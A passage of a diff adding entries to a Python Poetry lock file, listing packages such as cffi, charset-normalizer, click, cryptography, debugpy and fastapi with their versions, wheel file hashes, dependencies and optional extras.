+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
+ {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
+ {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
+ {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+]
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+name = "charset-normalizer"
+version = "3.2.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"},
+ {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"},
+ {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"},
+ {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"},
+ {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"},
+ {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"},
+ {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"},
+]
+
+[[package]]
+name = "click"
+version = "8.1.4"
+description = "Composable command line interface toolkit"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"},
+ {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "platform_system == \"Windows\""}
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+description = "Cross-platform colored terminal text."
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7"
+files = [
+ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"},
+ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"},
+]
+
+[[package]]
+name = "cryptography"
+version = "41.0.2"
+description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711"},
+ {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182"},
+ {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83"},
+ {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5"},
+ {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58"},
+ {file = "cryptography-41.0.2-cp37-abi3-win32.whl", hash = "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76"},
+ {file = "cryptography-41.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766"},
+ {file = "cryptography-41.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa"},
+ {file = "cryptography-41.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f"},
+ {file = "cryptography-41.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0"},
+ {file = "cryptography-41.0.2.tar.gz", hash = "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c"},
+]
+
+[package.dependencies]
+cffi = ">=1.12"
+
+[package.extras]
+docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"]
+docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"]
+nox = ["nox"]
+pep8test = ["black", "check-sdist", "mypy", "ruff"]
+sdist = ["build"]
+ssh = ["bcrypt (>=3.1.5)"]
+test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"]
+test-randomorder = ["pytest-randomly"]
+
+[[package]]
+name = "debugpy"
+version = "1.6.7"
+description = "An implementation of the Debug Adapter Protocol for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"},
+ {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"},
+ {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"},
+ {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"},
+ {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"},
+ {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"},
+ {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"},
+ {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"},
+ {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"},
+ {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"},
+ {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"},
+ {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"},
+ {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"},
+ {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"},
+ {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"},
+ {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"},
+ {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"},
+]
+
+[[package]]
+name = "exceptiongroup"
+version = "1.1.2"
+description = "Backport of PEP 654 (exception groups)"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "exceptiongroup-1.1.2-py3-none-any.whl", hash = "sha256:e346e69d186172ca7cf029c8c1d16235aa0e04035e5750b4b95039e65204328f"},
+ {file = "exceptiongroup-1.1.2.tar.gz", hash = "sha256:12c3e887d6485d16943a309616de20ae5582633e0a2eda17f4e10fd61c1e8af5"},
+]
+
+[package.extras]
+test = ["pytest (>=6)"]
+
+[[package]]
+name = "fastapi"
+version = "0.81.0"
+description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "fastapi-0.81.0-py3-none-any.whl", hash = "sha256:9ac5f5d252b4b394df29accb1ed4bedf30e0e87fc6eb7ec75e1449fa040bfc17"},
+ {file = "fastapi-0.81.0.tar.gz", hash = "sha256:9dafdc41feda85ee5acf0f7dd6bcb7fd946318a6664b41fd33e33b26f666a346"},
+]
+
+[package.dependencies]
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+starlette = "0.19.1"
+
+[package.extras]
+all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"]
+test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"]
+
+[[package]]
+name = "fastapi-class"
+version = "2.0.0"
+description = "Classes and Decorators to use FastAPI with Class based routing"
